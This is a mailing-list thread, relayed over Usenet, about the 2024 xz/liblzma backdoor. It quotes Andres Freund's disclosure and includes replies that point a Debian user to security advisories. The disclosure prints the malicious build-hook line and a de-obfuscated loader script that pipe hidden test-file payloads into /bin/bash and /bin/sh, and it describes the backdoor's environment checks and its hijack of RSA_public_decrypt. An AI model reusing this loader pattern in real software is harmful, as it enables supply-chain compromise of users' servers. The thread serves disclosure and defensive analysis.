• Re: [oss-security] backdoor in upstream xz/liblzma leading to ssh serve

    From fxkl47BF@protonmail.com@21:1/5 to Jeffrey Walton on Sat Mar 30 22:00:02 2024
    so is this a threat to us normal debian users
    if so how do we fix it

    On Sat, 30 Mar 2024, Jeffrey Walton wrote:

    It looks like more analysis has revealed this is a RCE with the
    payload in the modulus of a public key: "The payload is extracted from
    the N value (the public key) passed to RSA_public_decrypt, checked
    against a simple fingerprint, and decrypted with a fixed ChaCha20 key
    before the Ed448 signature verification..." Also see <https://www.openwall.com/lists/oss-security/2024/03/30/36>.

    On Fri, Mar 29, 2024 at 1:52 PM Jeffrey Walton <noloader@gmail.com> wrote:

    Seems relevant since Debian adopted xz about 10 years ago.

    ---------- Forwarded message ---------
    From: Andres Freund <andres@anarazel.de>
    Date: Fri, Mar 29, 2024 at 12:10 PM
    Subject: [oss-security] backdoor in upstream xz/liblzma leading to ssh
    server compromise
    To: <oss-security@lists.openwall.com>

    Hi,

    After observing a few odd symptoms around liblzma (part of the xz package) on
    Debian sid installations over the last weeks (logins with ssh taking a lot of
    CPU, valgrind errors) I figured out the answer:

    The upstream xz repository and the xz tarballs have been backdoored.

    At first I thought this was a compromise of debian's package, but it turns out
    to be upstream.

    == Compromised Release Tarball ==

    One portion of the backdoor is *solely in the distributed tarballs*. For
    easier reference, here's a link to debian's import of the tarball, but it is >> also present in the tarballs for 5.6.0 and 5.6.1:

    https://salsa.debian.org/debian/xz-utils/-/blob/debian/unstable/m4/build-to-host.m4?ref_type=heads#L63

    That line is *not* in the upstream source of build-to-host, nor is
    build-to-host used by xz in git. However, it is present in the tarballs
    released upstream, except for the "source code" links, which I think github >> generates directly from the repository contents:

    https://github.com/tukaani-project/xz/releases/tag/v5.6.0
    https://github.com/tukaani-project/xz/releases/tag/v5.6.1


    This injects an obfuscated script to be executed at the end of configure. This
    script is fairly obfuscated and data from "test" .xz files in the repository.


    This script is executed and, if some preconditions match, modifies
    $builddir/src/liblzma/Makefile to contain

    am__test = bad-3-corrupt_lzma2.xz
    ...
    am__test_dir=$(top_srcdir)/tests/files/$(am__test)
    ...
    sed rpath $(am__test_dir) | $(am__dist_setup) >/dev/null 2>&1


    which ends up as
    ...; sed rpath ../../../tests/files/bad-3-corrupt_lzma2.xz | tr "
    \-_" " _\-" | xz -d | /bin/bash >/dev/null 2>&1; ...

    Leaving out the "| bash" that produces

    ####Hello####
    #�Z�.hj�
    eval `grep ^srcdir= config.status`
    if test -f ../../config.status;then
    eval `grep ^srcdir= ../../config.status`
    srcdir="../../$srcdir"
    fi
    export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c
    +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
    head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
    -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
    head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
    -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
    head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
    -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
    head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
    -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) &&
    head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head
    -c +1024 >/dev/null) && head -c +724)";(xz -dc
    $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c
    +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131"
    "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
    ####World####

    After de-obfuscation this leads to the attached injected.txt.


    == Compromised Repository ==

    The files containing the bulk of the exploit are in an obfuscated form in
    tests/files/bad-3-corrupt_lzma2.xz
    tests/files/good-large_compressed.lzma
    committed upstream. They were initially added in
    https://github.com/tukaani-project/xz/commit/cf44e4b7f5dfdbf8c78aef377c10f71e274f63c0

    Note that the files were not even used for any "tests" in 5.6.0.


    Subsequently the injected code (more about that below) caused valgrind errors
    and crashes in some configurations, due the stack layout differing from what >> the backdoor was expecting. These issues were attempted to be worked around >> in 5.6.1:

    https://github.com/tukaani-project/xz/commit/e5faaebbcf02ea880cfc56edc702d4f7298788ad
    https://github.com/tukaani-project/xz/commit/72d2933bfae514e0dbb123488e9f1eb7cf64175f
    https://github.com/tukaani-project/xz/commit/82ecc538193b380a21622aea02b0ba078e7ade92

    For which the exploit code was then adjusted:
    https://github.com/tukaani-project/xz/commit/6e636819e8f070330d835fce46289a3ff72a7b89

    Given the activity over several weeks, the committer is either directly
    involved or there was some quite severe compromise of their
    system. Unfortunately the latter looks like the less likely explanation, given
    they communicated on various lists about the "fixes" mentioned above.


    Florian Weimer first extracted the injected code in isolation, also attached,
    liblzma_la-crc64-fast.o, I had only looked at the whole binary. Thanks!


    == Affected Systems ==

    The attached de-obfuscated script is invoked first after configure, where it >> decides whether to modify the build process to inject the code.

    These conditions include targeting only x86-64 linux:
    if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) &&
    (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then

    Building with gcc and the gnu linker
    if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
    exit 0
    fi
    if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
    exit 0
    fi
    LDv=$LD" -v"
    if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
    exit 0

    Running as part of a debian or RPM package build:
    if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then >>
    Particularly the latter is likely aimed at making it harder to reproduce the >> issue for investigators.


    Due to the working of the injected code (see below), it is likely the backdoor
    can only work on glibc based systems.


    Luckily xz 5.6.0 and 5.6.1 have not yet widely been integrated by linux
    distributions, and where they have, mostly in pre-release versions.


    == Observing Impact on openssh server ==

    With the backdoored liblzma installed, logins via ssh become a lot slower. >>
    time ssh nonexistant@localhost

    before:
    nonexistant@localhost: Permission denied (publickey).

    before:
    real 0m0.299s
    user 0m0.202s
    sys 0m0.006s

    after:
    nonexistant@localhost: Permission denied (publickey).

    real 0m0.807s
    user 0m0.202s
    sys 0m0.006s


    openssh does not directly use liblzma. However debian and several other
    distributions patch openssh to support systemd notification, and libsystemd >> does depend on lzma.


    Initially starting sshd outside of systemd did not show the slowdown, despite
    the backdoor briefly getting invoked. This appears to be part of some
    countermeasures to make analysis harder.

    Observed requirements for the exploit:
    a) TERM environment variable is not set
    b) argv[0] needs to be /usr/sbin/sshd
    c) LD_DEBUG, LD_PROFILE are not set
    d) LANG needs to be set
    e) Some debugging environments, like rr, appear to be detected. Plain gdb
    appears to be detected in some situations, but not others

    To reproduce outside of systemd, the server can be started with a clear
    environment, setting only the required variable:

    env -i LANG=en_US.UTF-8 /usr/sbin/sshd -D


    In fact, openssh does not need to be started as a server to observe the
    slowdown:

    slow:
    env -i LANG=C /usr/sbin/sshd -h

    (about 0.5s on my older system)


    fast:
    env -i LANG=C TERM=foo /usr/sbin/sshd -h
    env -i LANG=C LD_DEBUG=statistics /usr/sbin/sshd -h
    ...

    (about 0.01s on the same system)


    It's possible that argv[0] other /usr/sbin/sshd also would have effect - there
    are obviously lots of servers linking to libsystemd.


    == Analyzing the injected code ==

    I am *not* a security researcher, nor a reverse engineer. There's lots of >> stuff I have not analyzed and most of what I observed is purely from
    observation rather than exhaustively analyzing the backdoor code.

    To analyze I primarily used "perf record -e intel_pt//ub" to observe where >> execution diverges between the backdoor being active and not. Then also gdb, >> setting breakpoints before the divergence.


    The backdoor initially intercepts execution by replacing the ifunc resolvers >> crc32_resolve(), crc64_resolve() with different code, which calls
    _get_cpuid(), injected into the code (which previously would just be static >> inline functions). In xz 5.6.1 the backdoor was further obfuscated, removing
    symbol names.

    These functions get resolved during startup, because sshd is built with
    -Wl,-z,now, leading to all symbols being resolved early. If started with
    LD_BIND_NOT=1 the backdoor does not appear to work.


    Below crc32_resolve() _get_cpuid() does not do much, it just sees that a
    'completed' variable is 0 and increments it, returning the normal cpuid result
    (via a new _cpuid()). It gets to be more interesting during crc64_resolve(). >>
    In the second invocation crc64_resolve() appears to find various information,
    like data from the dynamic linker, program arguments and environment. Then it
    perform various environment checks, including those above. There are other >> checks I have not fully traced.

    If the above decides to continue, the code appears to be parsing the symbol >> tables in memory. This is the quite slow step that made me look into the issue.


    Notably liblzma's symbols are resolved before many of the other libraries, >> including the symbols in the main sshd binary. This is important because
    symbols are resolved, the GOT gets remapped read-only thanks to -Wl,-z,relro.


    To be able to resolve symbols in libraries that have not yet loaded, the
    backdoor installs an audit hook into the dynamic linker, which can be observed
    with gdb using
    watch _rtld_global_ro._dl_naudit
    It looks like the audit hook is only installed for the main binary.

    That hook gets called, from _dl_audit_symbind, for numerous symbols in the >> main binary. It appears to wait for "RSA_public_decrypt@got.plt" to be
    resolved. When called for that symbol, the backdoor changes the value of
    RSA_public_decrypt@got.plt to point to its own code. It does not do this via
    the audit hook mechanism, but outside of it.

    For reasons I do not yet understand, it does change sym.st_value *and* the >> return value of from the audit hook to a different value, which leads
    _dl_audit_symbind() to do nothing - why change anything at all then?

    After that the audit hook is uninstalled again.

    It is possible to change the got.plt contents at this stage because it has not
    (and can't yet) been remapped to be read-only.


    I suspect there might be further changes performed at this stage.


    == Impact on sshd ==

    The prior section explains that RSA_public_decrypt@got.plt was redirected to >> point into the backdoor code. The trace I was analyzing indeed shows that
    during a pubkey login the exploit code is invoked:

    sshd 1736357 [010] 714318.734008: 1 branches:uH:
    5555555ded8c ssh_rsa_verify+0x49c (/usr/sbin/sshd) =>
    5555555612d0 RSA_public_decrypt@plt+0x0 (/usr/sbin/sshd)

    The backdoor then calls back into libcrypto, presumably to perform
    normal authentication

    sshd 1736357 [010] 714318.734009: 1 branches:uH:
    7ffff7c137cd [unknown]
    (/usr/lib/x86_64-linux-gnu/liblzma.so.5.6.0) => 7ffff792a2b0
    RSA_get0_key+0x0 (/usr/lib/x86_64-linux-gnu/libcrypto.so.3)


    I have not yet analyzed precisely what is being checked for in the injected >> code, to allow unauthorized access. Since this is running in a
    pre-authentication context, it seems likely to allow some form of access or >> other form of remote code execution.

    I'd upgrade any potentially vulnerable system ASAP.


    == Bug reports ==

    Given the apparent upstream involvement I have not reported an upstream
    bug. As I initially thought it was a debian specific issue, I sent a more
    preliminary report to security@debian.org. Subsequently I reported the issue
    to distros@. CISA was notified by a distribution.

    Red Hat assigned this issue CVE-2024-3094.


    == Detecting if installation is vulnerable ==

    Vegard Nossum wrote a script to detect if it's likely that the ssh binary on a
    system is vulnerable, attached here. Thanks!


    Greetings,

    Andres Freund


    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Michel Verdier@21:1/5 to fxkl47BF@protonmail.com on Sat Mar 30 22:30:02 2024
    On 2024-03-30, fxkl47BF@protonmail.com wrote:

    so is this a threat to us normal debian users
    if so how do we fix it

    Debian stable is not affected, Debian testing, unstable and
    experimental must be updated.

    https://lists.debian.org/debian-security-announce/2024/msg00057.html

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)
  • From Andy Smith@21:1/5 to fxkl47BF@protonmail.com on Sat Mar 30 22:50:01 2024
    Hi,

    On Sat, Mar 30, 2024 at 08:57:14PM +0000, fxkl47BF@protonmail.com wrote:
    so is this a threat to us normal debian users

    If you have to ask, i.e. you do not know how to check that your
    Debian install is secured against extremely well known recent
    exploits that have been plastered across the entire Internet,
    then yes, your Debian install is at risk - from this gap in your
    knowledge.

    It's okay to not know things, but let's rectify that.

    Every Debian user that manages their own machine(s) should read
    this:

    https://www.debian.org/doc/manuals/debian-handbook/

    In it there is a chapter on keeping up to date:

    https://www.debian.org/doc/manuals/debian-handbook/sect.regular-upgrades.en.html

    That will get you a long way - letting you kn ow when there's
    updated packages available for your version of Debian.

    But what about known issues that may or may not have been yet
    tackled by Debian?

    You can find a reference for advisories here:

    https://www.debian.org/security/

    And you can be fed info by email by subscribing to:

    https://lists.debian.org/debian-security-announce/

    Between those last two links your specific question here is answered
    but in case you object to being taught to fish, here is your fish:

    https://lists.debian.org/debian-security-announce/2024/msg00057.html

    Bon appetit.
    Andy

    --
    https://bitfolk.com/ -- No-nonsense VPS hosting

    --- SoupGate-Win32 v1.05
    * Origin: fsxNet Usenet Gateway (21:1/5)